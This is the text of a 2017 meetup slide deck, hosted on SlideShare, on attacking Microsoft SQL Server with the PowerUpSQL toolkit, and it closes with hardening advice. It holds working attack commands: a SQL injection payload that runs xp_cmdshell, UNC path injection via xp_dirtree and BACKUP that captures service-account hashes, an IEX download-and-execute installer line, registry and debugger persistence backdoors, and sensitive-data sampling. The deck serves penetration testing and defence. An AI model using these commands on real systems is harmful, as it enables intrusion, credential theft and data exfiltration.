SlideShare a Scribd company logo
1 of 108
Hacking SQL Server on
Scale with PowerShell
San Francisco
March 2017 Meetup
Speaker Information
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind
Presentation Overview
● Why SQL Server and PowerShell?
● PowerUpSQL Overview
● Finding & Accessing SQL Servers
● Privilege Escalation Scenarios
o Domain user to SQL Server login
o SQL Server Login to Sysadmin
o Sysadmin to Windows Admin
o Windows Admin to Sysadmin
o Domain Escalation
● Post Exploitation Activities
● General Recommendations
Why SQL Server?
● Used in most enterprise environments
● Supports local Windows and Domain authentication
● Integrates with lots of Windows applications
● Generally has trust relationships that other don’t
Why PowerShell?
● Native to Windows
● Run commands in memory
● Run managed .net code
● Run unmanaged code
● Avoid detection by legacy Anti-virus
● Already flagged as "trusted" by most
application whitelist solutions
● A medium used to write many open source
Pentest toolkits
PowerUpSQL
PowerUpSQL Overview: Project Goals
Project Goals (Get-Abilities) 
● Scalability via runspace threading
● Flexibility via pipeline support
● ps objects and data tables
● Portability
o No SMO dependancies
o .Net Framework libraries
o PowerShell v.2 compliant (in theory)
o Single file
Functional Goals
● Discover SQL Servers from different attacker perspectives
● Inventory SQL Servers quickly
● Audit SQL Servers for common insecure configurations
● Escalate privileges quickly on SQL Servers
● Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview: Functions
Primary Attack Functions
● Invoke-SQLDumpInfo
● Invoke-SQLAudit
● Invoke-SQLEscalatePriv
● Invoke-SQLOsCmd
https://github.com/NetSPI/PowerUpSQL/wikiCurrently about 60 Functions
PowerUpSQL Overview: Where can I get it?
Github
https://github.com/netspi/PowerUpSQL
PowerShell Gallery
https://www.powershellgallery.com/packages/PowerUpSQL/
PowerUpSQL Overview: How do I install it?
Github
Import-Module PowerUpSQL.psd1
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/P
owerUpSQL.ps1")
Execution policy work arounds
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
PowerShell Gallery
Install-Module -Name PowerUpSQL
SQL
Server
Basics
SQL Server Basics
What is SQL Server?
● A database platform
● An application
● A set of Windows services
● Each instance has its own set of
services
SQL Server Basics: Account Types
Account Types
● Windows Accounts
o Used to login
o Mapped to SQL Server login
● SQL Server Logins
o Used to login
o Mapped to database account
● Database Users
o Used to access databases
SQL Server Basics: Common Roles
Important SQL Server Roles
● Sysadmin role
○ Database administrator account
○ Think of it as the “Administrators” Windows group,
but in SQL Server
● Public role
○ Only provides CONNECT permission
○ Think of it as the “Everyone” Windows group, but
in SQL Server
Finding
SQL Servers
Find SQL Servers: Techniques
Attacker Perspective Attack Technique
Unauthenticated ● List from file
● TCP port scan
● UDP port scan
● UDP broadcast
● Azure DNS dictionary attack (x.databases.windows.net)
● Azure DNS lookup via public resources
Local User ● Services
● Registry entries
Domain User ● Service Principal Names
● Azure Portal / PowerShell Modules
Find SQL Servers: PowerUpSQL
Attacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
Escalating
Privileges
Unauthenticated / Domain User to SQL Login
Testing Login Access: Techniques
What credentials can I use to log into discovered SQL Servers?
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords.
Unauthenticated Default passwords based on the SQL Server instance names.
Local Windows or ADS
Domain Account
Attempt to login using the current account.
Testing Login Access: PowerUpSQL CMDs
What PowerUpSQL functions can I use to test for successful logins?
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS
Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access: PowerUpSQL CMDs
Testing Login Access: Login CMD Examples
Attacker Perspective Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded
-Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
-Verbose -Threads 15
Alternative
Domain User
runas /noprofile /netonly /user:domainuser PowerShell.exe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
-Verbose -Threads 15
Testing Login Access: Reusing Result Lists
Process Command Example
Enumerate
Accessible Servers
$Accessible = Get-SQLInstanceDomain |
Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
Where-Object {$_.Status –like “Accessible”}
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command? No.
Testing Login Access: Domain User Access
DEMO
Testing Login Access: Demo
DEMO
Escalating Privileges: Domain User
Why can Domain Users login into so
many SQL Servers?
● Admins give them access
● Privilege inheritance issue on
domain systems = Public role
access
● SQL Server Express is commonly
vulnerable
Escalating Privileges: Domain User
Why can Domain Users login into so
many SQL Servers?
● Admins give them access
● Privilege inheritance issue on
domain systems = Public role
access
● SQL Server Express is commonly
vulnerable
Escalating Privileges: Domain User
Why can Domain Users login into so
many SQL Servers?
● Admins give them access
● Privilege inheritance issue on
domain systems = Public role
access
● SQL Server Express is commonly
vulnerable
Escalating
Privileges
SQL Login to SysAdmin
Escalating Privileges: Weak Passwords
Didn’t we just cover this? Yes, but there’s more…
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS
Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges: Weak Passwords
…we can also enumerate SQL Server logins and Domain Accounts 
Technique PowerUpSQL Function
Blind Login Enumeration
+
Dictionary Attack
=
Super Cool!
Invoke-SQLAuditWeakLoginPw
• Enumerate all SQL Server logins with the Public role
• Enumerate all domain accounts with the Public role
Escalating Privileges: Weak Passwords
Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
Escalating Privileges: Weak Passwords
Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
2. Get principal id for the sa
account with “suser_id”
Escalating Privileges: Weak Passwords
Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
2. Get principal id for the sa account
with “suser_id”
3. Use “suser_name” to get SQL
logins using just principal ID
Escalating Privileges: Weak Passwords
Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
2. Get principal id for the sa account
with “suser_id”
3. Use “suser_name” to get SQL
logins using just principal ID
4. Increment number and repeat
Escalating Privileges: Weak Passwords
Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.
2. Get principal id for the sa account
with “suser_id”
3. Use “suser_name” to get SQL
logins using just principal ID
4. Increment number and repeat
select n [id], SUSER_NAME(n) [user_name]
from (
select top 10000 row_number() over(order by t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null
Code gifted from @mobileck
Source:
https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
Domain of SQL
Server
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
2. GID RID of default group
Full RID of
Domain Admins
group
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending
a hex number value and the SID
1. Start with number, 500
2. Convert to hex, F401
3. Pad with 0 to 8 bytes, F4010000
4. Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending a
hex number value and the SID
5. Use “suser_name” function to get
domain object name
1. Start with number, 500
2. Convert to hex, F401
3. Pad with 0 to 8 bytes, F4010000
4. Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: Weak Passwords
Enumerating Domain Users
1. Get the domain
2. GID RID of default group
3. Grab the first 48 Bytes of the full RID
4. Create new RID with by appending a
hex number value and the SID
5. Use “suser_name” function to get
domain object name
6. Increment and repeat
1. Start with number, 500
2. Convert to hex, F401
3. Pad with 0 to 8 bytes, F4010000
4. Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges: DEMO
DEMO
Get-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges: Impersonation
1. Impersonate Privilege
• Server: EXECUTE AS LOGIN
• Database: EXECUTE AS USER
2. Stored Procedure and Trigger Creation / Injection Issues
• EXECUTE AS OWNER
• Signed with cert login
3. Automatic Execution of Stored Procedures
4. Agent Jobs
• User, Reader, and Operator roles
5. xp_cmdshell proxy acount
6. Create Databse Link to File or Server
7. Import / Install Custom Assemblies
8. Ad-Hoc Queries
9. Shared Service Accounts
10. Database Links
11. UNC Path Injection
Escalating Privileges: Impersonation
Impersonate Privilege
• Can be used at server layer
o EXECUTE AS LOGIN
• Can be used at database layer
o EXECUTE AS USER
Pros
• Execute queries/commands in another user context
Cons
• Commands and queries are not limited in any way
• Requires database to be configured as trustworthy
for OS command execution
Escalating Privileges: Impersonation
Impersonate Privilege
• Can be used at server layer
o EXECUTE AS LOGIN
• Can be used at database layer
o EXECUTE AS USER
Escalating Privileges: Impersonation
Impersonate Privilege
• Can be used at server layer
o EXECUTE AS LOGIN
• Can be used at database layer
o EXECUTE AS USER
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
• EXECUTE AS OWNER can be used to execute a
stored procedure as another login
Pros
• Can execute queries/commands in another user context
• Limit commands and queries
• Don’t have to grant IMPERSONATE
Cons
• No granular control over the database owner’s privileges
• DB_OWNER role can EXECUTE AS OWNER of the DB,
which is often a sysadmin
• Requires database to be configured as trustworthy for
OS command execution
• Impersonation can be done via SQL injection under
specific conditions
• Impersonation can be done via command injection under
specific conditions
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
• EXECUTE AS OWNER can be used to execute a
stored procedure as another login
• DB_OWNER role can impersonate the actual
database owner
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'MyAppUser','sysadmin'
GO
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
• EXECUTE AS OWNER can be used to execute a
stored procedure as another login
• DB_OWNER role can impersonate the actual
database owner
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'MyAppUser','sysadmin'
GO
SYSADMIN
is often the
OWNER
Escalating Privileges: Impersonation
Stored Procedure and Trigger Creation / Injection
Issues
• Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Pros
• Can execute queries/commands in another user
context
• Limit commands and queries
• Don’t have to grant IMPERSONATE
• Granular control over permissions
• Database does NOT have to be configured as
trustworthy for OS command execution
Cons
• Impersonation can be done via SQL injection
under specific conditions
• Impersonation can be done via command
injection under specific conditions
Escalating Privileges: Impersonation
SQL Injection Example
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = ‘
SELECT name FROM master..sysdatabases
WHERE name like ''%'+ @DbName+'%'' OR
name=''tempdb''';
EXECUTE(@query)
END
GO
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = ‘
SELECT name FROM master..sysdatabases
WHERE name like ''%'+ @DbName+'%'' OR
name=''tempdb''';
EXECUTE(@query)
END
GO
PURE EVIL
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
EXEC MASTER.dbo.sp_sqli2
'master'';EXEC master..xp_cmdshell ''whoami''--';
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
Escalating Privileges: Impersonation
SQL Injection Example
Escalating Privileges: Impersonation
Automatic Execution of Stored Procedure
• Stored procedures ca be configured to execute
when the SQL Server service restarts
Pros
• Marking a stored procedure to run when the SQL
Server service restarts has many use cases
• Only stored procedures in the master database
can be marked for auto execution
Cons
• No granular control over what context the startup
command is executed in
• All stored procedures marked for auto execution
are executed as ‘sa’, even if ‘sa’ is disabled
• Any non sysadmin access to stored procedures
can lead to execution as ‘sa’
Escalating Privileges: DEMO
DEMO
Invoke-SQLAudit
Escalating Privileges: Invoke-SQLPrivEsc
Whooray for Automation Demo!
Escalating Privileges: DEMO
DEMO
Invoke-SQLEscalatePriv
Escalating Privileges: Invoke-SQLPrivEsc
DEMO
Escalating
Privileges
SysAdmin to Service Account
Escalating Privileges: SysAdmin to Service Account
OS Command Execution = Service Account Impersonation
Executing OS Commands:
● xp_cmdshell
● Custom Assemblies (.net)
http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/
● Custom Extended Stored Procedures (C++)
● Agent Jobs
https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution
o ActiveX: Vbscript, Jscript, and Other
o CmdExec
o PowerShell
o SSIS Package
● Registry Autoruns
● File Autoruns
Escalating Privileges: SysAdmin to Service Account
OS Command Execution = Service Account Impersonation
You don’t need to know the password, crack a hash, or PTH
Service Account Types
● Local User
● Local System
● Network Service
● Local managed service account
● Domain managed service account
● Domain User
● Domain Admin
Escalating Privileges: SysAdmin to Service Account
But wait, there’s more…RottenPotato @ DerbyCon 2016
• We can now escalation from service account to LocalSystem!
• No patch that I’m aware of.
• Authors: Chris Mallz (@vvalien1) & Steve Breen (@breenmachine)
Blog
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-
escalation-from-service-accounts-to-system/
Code
https://github.com/foxglovesec/RottenPotato
Escalating Privileges: Invoke-SQLOSCmd
Invoke-SQLOSCMD can be used for basic command execution.
PS C:>$Accessible | Invoke-SQLOSCmd –Verbose –Command “whoami” –Threads 10
ComputerName Instance CommandResults
--------------------- ----------- --------------
SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress
SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem
SQLServer1 SQLServer1 DomainSQLSvc
Escalating
Privileges
Shared Service Accounts
Escalating Privileges: Shared Service Accounts
Why should I care about shared service accounts?
1. SysAdmins can execute OS commands
2. OS commands run as the SQL Server service account
3. Service accounts have sysadmin privileges by default
4. Companies often use a single domain account to run hundreds of SQL Servers
5. So if you get sysadmin on one server you have it on all of them!
One account to rule them all!
InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Execute Local Command
via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Execute Local Command
via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and
gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
Escalating
Privileges
Crawling SQL Server Links
Escalating Privileges: Crawling SQL Server Links
What’s a SQL Server link?
● SQL Server links are basically persistent database connections for SQL Servers.
Why should I care?
● Short answer = privilege escalation
● Public role can use links to execute queries on remote servers (impersonation)
SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
● Stored procedures can be executed (xp_cmdshell)
● Links can be crawled
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
LeastPrivileges
DB1
LVA
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
LeastPrivileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and
local commands on
database servers via
nested linked services
2
Escalating Privileges: Crawling SQL Server Links
Penetration Test Stats
● Database links exist (and can be crawled) in about 50% of environments we’ve seen
● The max number of hops we’ve seen is 12
● The max number of servers crawled is 226
Escalating Privileges: Crawling Server Links
Old Script
● Released 2012
● https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler
New Functions
● Author: Antti Rantasaari
● https://blog.netspi.com/sql-server-link-crawling-powerupsql/
Escalating Privileges: Crawling Server Links
Function Description
Get-SQLServerLink Get a list of SQL Server Link on the server.
Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command
execution.
Examples
Get-SQLServerLinkCrawl -verbose -instance
"10.2.9.101SQLSERVER2008“
Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query
“select * from master..sysdatabases”
Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query
“exec master..xp_cmdshell ‘whoami’”
Escalating Privileges: Crawling Server Links
DEMO
Escalating Privileges: Database Links
DEMO
Escalating Privileges: Crawling Server Links
Escalating
Privileges
UNC Path Injection
Escalating Privileges: UNC Path Injection
UNC Path Injection Summary
● UNC paths are used for accessing remote file servers like so 192.168.1.4file
● Almost all procedures that accept a file path in SQL Server, support UNC paths
● UNC paths can be used to force the SQL Server service account to authenticate to an attacker
● An attacker can then capture the NetNTLM password hash and crack or relay it
● Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges: UNC Path Injection
Escalating Privileges: UNC Path Injection
The Issue
• By DEFAULT, the PUBLIC role can execute at least two procedures that accept a file path
xp_dirtree 'attackeripfile‘
xp_fileexists 'attackeripfile‘
The Solution
• EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role
(but no one does that)
UNC Path Injection Cheat Sheet
• https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
Escalating Privileges: UNC Path Injection
Another Issue
• The Public role can perform UNC path injection into the BACKUP and RESTORE
commands:
BACKUP LOG [TESTING] TO DISK = 'attackeripfile‘
RESTORE LOG [TESTING] FROM DISK = 'attackeripfile'
Partial Solution
• A patch was released for SQL Server versions 2012 through 2016
https://technet.microsoft.com/library/security/MS16-131
• There is no fix for SQL Server 2000 to 2008
Escalating Privileges: UNC Path Injection
So, in summary…
The PUBLIC role can access the SQL
Server service account NetNTLM
password hash by default!!
Escalating Privileges: UNC Path Injection
But who really has
PUBLIC role access?
Oh yeah, a ton of domain users 
Escalating Privileges: DEMO
DEMO
Get-SQLServiceAccountPwHashes
…what? It’s self descriptive 
Escalating Privileges: UNC Path Injection
DEMO
Escalating
Privileges
OS Admin to SysAdmin
Escalating Privileges: OS Admin to SysAdmin
Two things to know…
1. Different SQL Server versions can be abused in different ways
2. All SQL Server versions provide the service account with sysadmin privileges.
Escalating Privileges: OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode ? x x x x x
Below are some options for leveraging that knowledge...
Escalating Privileges: OS Admin to SysAdmin
Here are some tool options...
Approach Common Tools
Access as Local Administrator Management Studio, sqlcmd, and other native SQL client
tools.
Access as LocalSystem Psexec, accessibility options, debugger with native SQL
client tools.
Recover SQL Server service account
password from LSA Secrets
Mimikatz, Metasploit, lsadump.
Inject shellcode or DLL into the SQL
Server service process
Metasploit, Empire, Python, Powershell, C, C++
(LoadLibrary,CreateRemoteThread, and similar functions)
Steal Authentication Token From SQL
Server service process
Metasploit, Incognito, Invoke-TokenManipulation
Single User Mode DBATools
Common
Post
Exploitation
Activities
Post Exploitation: Overview
Common Post Exploitation Activities
1. Establish Persistence
• SQL Server Layer: startup procedures, agent jobs, triggers, modified code
• OS Layer: Registry & file auto runs, tasks, services, etc.
2. Identify Sensitive Data
• Target large databases
• Locate transparently encrypted databases
• Search columns based on keywords and sample data
• Use regular expressions and the Luhn formula against data samples
3. Exfiltrate Sensitive Data
• All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling,
ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL
yet)
Post Exploitation: Persistence
Task Command Example
Registry Autorun
Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce
-Command "EvilBoxEvilSandwich.exe" -Instance
"SQLServer1STANDARDDEV2014"
Debugger Backdoor
Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe
-Command 'c:windowssystem32cmd.exe' -Instance
"SQLServer1STANDARDDEV2014"
Post Exploitation: Persistence
Post Exploitation: Finding Sensitive Data
Task Command Example
Locate Encrypted
Databases
Get-SQLInstanceDomain -Verbose |
Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults |
Where-Object {$_.is_encrypted –eq “TRUE”}
Locate and Sample
Sensitive Columns
and Export to CSV
Get-SQLInstanceDomain -Verbose |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword
“credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults |
Export-CSV –NoTypeInformation c:tempdatasample.csv
Post Exploitation: Finding Sensitive Data
DEMO
Post Exploitation: Finding Sensitive Data
DEMO
General
Recommendations
General Recommendations
1. Enforce least privilege everywhere!
2. Disable dangerous default stored procedures.
3. Install security patches.
4. Audit and fix insecure configurations.
5. Use policy based management for standardizing configurations.
6. Enable auditing at the server and database levels, and monitor for potentially malicious activity.
PowerUpSQL Overview: Thanks!
Individual Third Party Code / Direct Contributors
Boe Prox Runspace blogs
Warren F. ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari, Eric Gruber, and Alexander
Leary, @leoloobeek, and @ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information / Questions?
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind

More Related Content

What's hot

SQL Server Alwayson for SharePoint HA/DR Step by Step Guide
SQL Server Alwayson for SharePoint HA/DR Step by Step GuideSQL Server Alwayson for SharePoint HA/DR Step by Step Guide
SQL Server Alwayson for SharePoint HA/DR Step by Step GuideLars Platzdasch
 
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...serge luca
 
SQL Server 2017 on Linux Introduction
SQL Server 2017 on Linux IntroductionSQL Server 2017 on Linux Introduction
SQL Server 2017 on Linux IntroductionTravis Wright
 
Akka 2.4 plus new commercial features in Typesafe Reactive Platform
Akka 2.4 plus new commercial features in Typesafe Reactive PlatformAkka 2.4 plus new commercial features in Typesafe Reactive Platform
Akka 2.4 plus new commercial features in Typesafe Reactive PlatformLegacy Typesafe (now Lightbend)
 
One Path to a Successful Implementation of NaturalONE
One Path to a Successful Implementation of NaturalONEOne Path to a Successful Implementation of NaturalONE
One Path to a Successful Implementation of NaturalONESoftware AG
 
OpenStack - JobShop @Iași, 2016
OpenStack - JobShop @Iași, 2016OpenStack - JobShop @Iași, 2016
OpenStack - JobShop @Iași, 2016Alexandru Coman
 
Introducing Node.js in an Oracle technology environment (including hands-on)
Introducing Node.js in an Oracle technology environment (including hands-on)Introducing Node.js in an Oracle technology environment (including hands-on)
Introducing Node.js in an Oracle technology environment (including hands-on)Lucas Jellema
 
OUG Ireland Meet-up - Updates from Oracle Open World 2016
OUG Ireland Meet-up - Updates from Oracle Open World 2016OUG Ireland Meet-up - Updates from Oracle Open World 2016
OUG Ireland Meet-up - Updates from Oracle Open World 2016Brendan Tierney
 
Christo kutrovsky oracle rac solving common scalability problems
Christo kutrovsky   oracle rac solving common scalability problemsChristo kutrovsky   oracle rac solving common scalability problems
Christo kutrovsky oracle rac solving common scalability problemsChristo Kutrovsky
 
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...Michael Noel
 
Pass Summit Linux Scripting for the Microsoft Professional
Pass Summit Linux Scripting for the Microsoft ProfessionalPass Summit Linux Scripting for the Microsoft Professional
Pass Summit Linux Scripting for the Microsoft ProfessionalKellyn Pot'Vin-Gorman
 
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison Severalnines
 
OUG Ireland Meet-up 12th January
OUG Ireland Meet-up 12th JanuaryOUG Ireland Meet-up 12th January
OUG Ireland Meet-up 12th JanuaryBrendan Tierney
 
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...Trivadis
 
Oracle Database on Docker - Best Practices
Oracle Database on Docker - Best PracticesOracle Database on Docker - Best Practices
Oracle Database on Docker - Best Practicesgvenzl
 
SQL Monitoring in Oracle Database 12c
SQL Monitoring in Oracle Database 12cSQL Monitoring in Oracle Database 12c
SQL Monitoring in Oracle Database 12cTanel Poder
 

What's hot (20)

Hotsos Advanced Linux Tools
Hotsos Advanced Linux ToolsHotsos Advanced Linux Tools
Hotsos Advanced Linux Tools
 
SQL Server Alwayson for SharePoint HA/DR Step by Step Guide
SQL Server Alwayson for SharePoint HA/DR Step by Step GuideSQL Server Alwayson for SharePoint HA/DR Step by Step Guide
SQL Server Alwayson for SharePoint HA/DR Step by Step Guide
 
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...
Unbreakable SharePoint 2013 with SQL Server Always On Availability Groups (HA...
 
SQL Server 2017 on Linux Introduction
SQL Server 2017 on Linux IntroductionSQL Server 2017 on Linux Introduction
SQL Server 2017 on Linux Introduction
 
Akka 2.4 plus new commercial features in Typesafe Reactive Platform
Akka 2.4 plus new commercial features in Typesafe Reactive PlatformAkka 2.4 plus new commercial features in Typesafe Reactive Platform
Akka 2.4 plus new commercial features in Typesafe Reactive Platform
 
One Path to a Successful Implementation of NaturalONE
One Path to a Successful Implementation of NaturalONEOne Path to a Successful Implementation of NaturalONE
One Path to a Successful Implementation of NaturalONE
 
OpenStack - JobShop @Iași, 2016
OpenStack - JobShop @Iași, 2016OpenStack - JobShop @Iași, 2016
OpenStack - JobShop @Iași, 2016
 
War of the Indices- SQL vs. Oracle
War of the Indices-  SQL vs. OracleWar of the Indices-  SQL vs. Oracle
